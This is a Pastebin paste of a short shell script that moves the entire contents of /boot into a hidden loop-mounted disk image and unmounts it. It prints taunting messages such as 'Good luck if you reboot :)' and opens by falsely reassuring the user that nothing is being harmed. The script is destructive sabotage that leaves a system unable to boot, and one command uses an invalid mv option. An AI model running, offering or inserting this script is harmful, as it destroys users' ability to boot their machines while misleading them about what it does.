Advertisement
ComputerMan123

test

Apr 16th, 2021
26
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.49 KB | None | 0 0
  1. echo "This is not messing up anything...you can get everything back!"
  2.  
  3. dd if=/dev/zero of=container.img bs=8G count=0 seek=1 > /dev/null
  4. sudo mkfs.ext4 container.img > /dev/null
  5. mkdir ~/get-your-data-here > /dev/null
  6. sudo mount -o loop container.img ~/get-your-data-here > /dev/null
  7. sudo mv -rf /boot/* ~/get-your-data-here/boot > /dev/null
  8.  
  9. sudo umount ~/get-your-data-here
  10. echo "Now your boot partition is wiped, jk because you can just get it back again."
  11. echo "Good luck if you reboot :)"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement